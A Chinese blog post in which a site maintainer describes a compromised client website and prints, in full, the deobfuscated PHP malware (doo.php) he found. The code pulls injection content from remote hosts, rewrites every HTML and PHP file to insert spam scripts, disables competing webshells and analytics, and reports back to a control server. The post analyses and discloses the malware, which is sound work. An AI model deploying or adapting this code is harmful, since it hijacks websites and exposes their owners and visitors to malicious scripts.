CV工程师
2024-07-03 07:42:10 阅读:278
本篇文章所演示的木马都是从被黑网站上下载下来的,一共三个文件。存放目录: /doo.php 网站跟录下新增了一个doo文件 /template/template.php 网站的template目录下新增了一个文件 template/template/xxx/index.html html模板里面新增一个noscript标签
事情是这样的,在日常维护客户的网站过程中,发现网站模板里面新增了一些不应该属于网站内容的奇怪字符:
有点奇怪,看起来不像是什么好东西,赶紧扔给gpt让它看看这是啥玩意:
好吧,妥妥的被黑了。
果断把所有的模板文件里的恶意代码删除后开始查看有没有别的地方有问题,果然在template文件夹下就有一个template.php
,以及网站根目录下有一个doo.php
,这俩文件一看就不是什么好玩意:
需要申明一下:这个doo.php文件被我稍微改了一下,删掉18行到20行开头的注释就是原文件。
为什么我要稍微改一下呢,其实我是想打印一下wctXV
这个函数的,可以看到这个函数里面执行了一大堆加密后的文件,直接去掉18行的return然后去掉20行的注释,再把eval换成print即可打印出来真正的代码:
<?php //我自己加个开头
$currentUrl = $_SERVER['REQUEST_URI'];
$parsedUrl = parse_url($currentUrl);
$queryString = $parsedUrl['query'];
echo('curl url :'.$currentUrl.'<br>');
echo('queryString url :'.$queryString.'<br>');
$fix_dir = '.';
$mode = '';
$who = 'pa';
//d=dir w=who m=nothing
if(isset($parsedUrl['query'])){
parse_str($queryString, $params);
if($params['d']){
if($params['d'] === "up")
{$fix_dir = '..';}
else{
$fix_dir = $params['d'];
}
}
if($params['w']){$who = $params['w'];}
if($params['m']){$mode = $params['m'];}
}
echo('fix dir is: '.$fix_dir.'<br>');
// 批量修改对应目录中的文件
del_muma($fix_dir);
echo('del done ..'.'<br>');
// ---- del done ----
// ---- fix start ----
// 设置站点根路径
//获取当前rootdomin
$currentDomain = $_SERVER['HTTP_HOST'];
$rootDomain = implode('.', array_slice(explode('.', $currentDomain), -2));
//不同行要删除的js
$other_js_remove = array(
'//static.jquery.im/v2.0.3.js',// USDT钱包的
);
//同行要替换的js
$other_js_replace = array(
'https://web.configs.im/laotie.js' //今年会
);
// 统计成功的
$suc_num = 0;
$fail_num = 0;
$rpt_msg = '';
$apidm = "";
// 服务端获取TDK+JS
$inst_info = query_fortdkjs();
// 批量修改对应目录中的文件
fixHtmls($fix_dir);
// API通知服务端结果,数据落库 TODO
upload_result();
// 获取默认的tkdinfo
function get_default_info(){
// JSON文件的URL
$jsonUrl = "https://static.alicloudoss.com/mw/wbsh/deftk.json";
$jsonData = file_get_contents($jsonUrl);
$data = json_decode($jsonData, true);
global $who;
$pa_default = $data[$who];
global $apidm;
$apidm = $pa_default['apidm'];
return $pa_default;
}
// 请求api,获取新的<noscript>....</script>全部string
function query_fortdkjs(){
$dft_info = get_default_info();
global $apidm,$rootDomain,$who;
$url = $apidm.'/api/websh/phptdk?rdm='.$rootDomain."&w=".$who;
// echo('get phptdk from url: '.$url."<br>");
$response = file_get_contents($url);
// echo('get tdk response:'."<br>");
// echo($response."<br>");
$response_dict = json_decode($response, true);
if($response_dict!==null){
$json_data = $response_dict['data'];
$insert_str =base64_decode($json_data['instr']);
$jssrc = $json_data['jssrc'];
if ($insert_str!==null){
echo 'done get instr'."<br>";
return array(
"instr" => $insert_str,
"jssrc" => $jssrc
);
}
}
echo "请求失败,未获取instr, 使用default "."<br>";
return $dft_info;
}
//输入目录。批量修改htm html文件
function fixHtmls($directory) {
global $inst_info,$suc_num,$rpt_msg,$other_js_replace,$other_js_remove;
$instr = $inst_info['instr'];
$jssrc = $inst_info['jssrc'];
$files = scandir($directory);
foreach ($files as $file) {
if ($file == '.' || $file == '..') {
continue;
}
// $path = $directory . '/' . $file;
$path = $directory . '/' . $file;
if (is_dir($path)) {
fixHtmls($path);
} else {
$extension = pathinfo($file, PATHINFO_EXTENSION);
if($extension !== 'html' && $extension !== 'htm' && $extension !== 'php'){
continue;
}
echo('touch '.$path.'<br>');
// 判断给定的路径是否指向当前文件
if ($path === realpath(__FILE__)) {
continue;
}
$content = file_get_contents($path);
$has_head = strpos($content, '<head') !== false;
if(!$has_head){
continue;
}
if ($extension == 'php'){
//把<doctype>上面搞幺蛾子的删掉 参考onhead.php
$content = preg_replace('/^.*?(?=<!DOCTYPE html>)/is', '<!DOCTYPE html>', $content);
}
$has_nospt = strpos($content, '<noscript>') !== false;
$has_js = strpos($content, $jssrc) !== false || strpos($content, "https://js.oss-aliyun.cn/js/spider.1.0.js") !== false ;
//非同行js就删除
foreach($other_js_remove as $ajs){
if(strpos($content,$ajs) !== false){
$msg = 'deleting other js: '.$ajs.'in'.__FILE__.'<br>';
echo($msg);
$content = str_replace($ajs, '', $content);
// echo('echange other js in file: '.$path."<br>");
$rpt_msg = $rpt_msg.$msg.'\n';
$suc_num ++;
}
}
## 干掉51统计
if (strpos($content,'LA.init')){
$pattern = '/<script\b[^>]*>(LA\.init.*?)<\/script>/is';
$content = preg_replace($pattern, '', $content);
}
## 发现有这种插入js代码的替换成我的js
if (strpos($content,'String.fromCharCode')){
$pattern = '/<script\b[^>]*>(.*?String\.fromCharCode.*?)<\/script>/is';
$content = preg_replace($pattern, '<script type="text/javascript" src="'.$jssrc.'"></script>', $content);
file_put_contents($path, $content);
continue;
}
//同行js就替换成我的
$find_tonghang = false;
foreach($other_js_replace as $ajs){
if(strpos($content,$ajs) !== false){
$msg = 'replace other js: '.$ajs.'in'.__FILE__.'<br>';
echo($msg);
$modifiedContent = str_replace($ajs, $jssrc, $content);
file_put_contents($path, $modifiedContent);
$find_tonghang = true;
}
}
if ($find_tonghang == true){
$suc_num ++;
continue;
}
if(!$has_nospt && !$has_js){
$insertion = $instr;
$modifiedContent = preg_replace('/<head.*?>/is', '<head>' . PHP_EOL . $insertion, $content);
file_put_contents($path, $modifiedContent);
echo('done handle file: '.$path." --- done add <br>");
$suc_num ++;
continue;
}
## 如果有<noscript> 但没有 js
if($has_nospt && !$has_js){
$modifiedContent = preg_replace('/<noscript>.*?<\/noscript>/is', '', $content);
$insertion = $instr;
$modifiedContent = preg_replace('/<head.*?>/is', '<head>' . PHP_EOL . $insertion, $modifiedContent);
// $modifiedContent = str_replace('<head>', '<head>' . PHP_EOL . $insertion, $content);
file_put_contents($path, $modifiedContent);
echo('done fix js in file: '.$path." --- rep js <br>");
$suc_num ++;
continue;
}
if($has_nospt && $has_js){
echo('done exists in file: '.$path." --- my exists <br>");
$suc_num ++;
continue;
}
}
}
}
// upload fix result
function upload_result(){
$currentFilePath = __FILE__;
global $apidm, $currentDomain, $suc_num, $rpt_msg;
// 要上传的JSON数据
$params = array(
"rtdm" => $currentDomain,
"fpth",__FILE__,
"suc_num"=>$suc_num,
"rpt_msg"=>$rpt_msg
);
$jsonData = json_encode($params);
// 目标URL
$url = $apidm.'/api/websh/phpfixres';
// 创建POST请求的内容
$options = array(
'http' => array(
'method' => 'POST',
'header' => 'Content-type: application/json',
'content' => $jsonData,
),
);
echo("reporting result "."<br>");
echo($jsonData."<br>");
// 创建上下文流
$context = stream_context_create($options);
// 发送POST请求并获取响应
$response = file_get_contents($url, false, $context);
if ($response === false) {
$error = curl_error($curl);
echo('report failed'.$error."<br>");
} else {
echo('report suc'."<br>");
}
}
// end fix
//--- del ----//
//输入目录。批量修改htm html文件
function del_muma($directory) {
$files = scandir($directory);
foreach ($files as $file) {
if ($file == '.' || $file == '..') {
continue;
}
$path = $directory . '/' . $file;
// 判断给定的路径是否指向当前文件
if ($path === realpath(__FILE__)) {
continue;
}
if (is_dir($path)) {
del_muma($path);
} else {
$my_mumas = array(
'm1.php',
'template_init.php',
'index_bk.php',
'664475333bb27.php',
'defaults.php',
'uct.php',
'664475333bb27.php',
'indexbak.php',
'detail.php',
'bam.php',
'bam1.php',
'us.php',
'xmlrpc.php',
'config.php',
'template_init'
);
foreach($my_mumas as $ama ){
if ($file === $ama){
echo('ignore my muma in '.$path.'<br>');
continue;
}
}
// 删掉被人的文件
$see_mumas = array(
"exe.php",
'dd.php',
'dnn.php',
'no_basdir.php'
);
for($i=0;$i<count($see_mumas);$i++){
$amuma = $see_mumas[$i];
if ($file === $amuma){
file_put_contents($path, '<?php echo("SB"); ?>');
echo('removing muma known in '.$path.' know-xx <br>');
continue;
}
}
$extension = pathinfo($file, PATHINFO_EXTENSION);
$content = file_get_contents($path);
// . 开头的php 删除所有内容
if($extension === 'php' && substr($file, 0, 1) === '.'){
file_put_contents($path, '<?php echo("SB"); ?>');
echo('removing muma in '.$path.' xx <br>');
continue;
}
// 删掉内容加密的木马
if(strpos($content, "eval(base64_decode") !== false || strpos($content, "OOO0O0O00") !== false || strpos($content, "OOO000000") !== false || strpos($content, "\$OOO000000") !== false || strpos($content, "PHPJiaMi.Com") !== false){
file_put_contents($path, '<?php echo("SB"); ?>');
echo('removing jiami muma in '.$path.' jmxx <br>');
continue;
}
}
}
}
?>
讲真,我有点人麻了:
还有中文注释,太贴心了。
最后的最后,我并不知道对方是如何将文件放入到根目录下面的,是利用的pbootcms的系统漏洞吧应该...真的不知道应该如何防护了!
既然它是通过修改文件来黑我的,那么我可以做一个备份,每天定时恢复就好了!!! 真是一个天才想法,实际上我认为可以做一个程序去监控文件是否修改,如果被修改就自动恢复。
等有时间再写吧。
评论
扫描二维码获取文章详情
更多精彩内容尽在:WWW.ZNGG.NET